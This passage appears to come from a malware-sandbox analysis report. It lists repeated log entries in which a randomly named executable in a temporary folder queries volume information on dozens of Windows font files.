Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
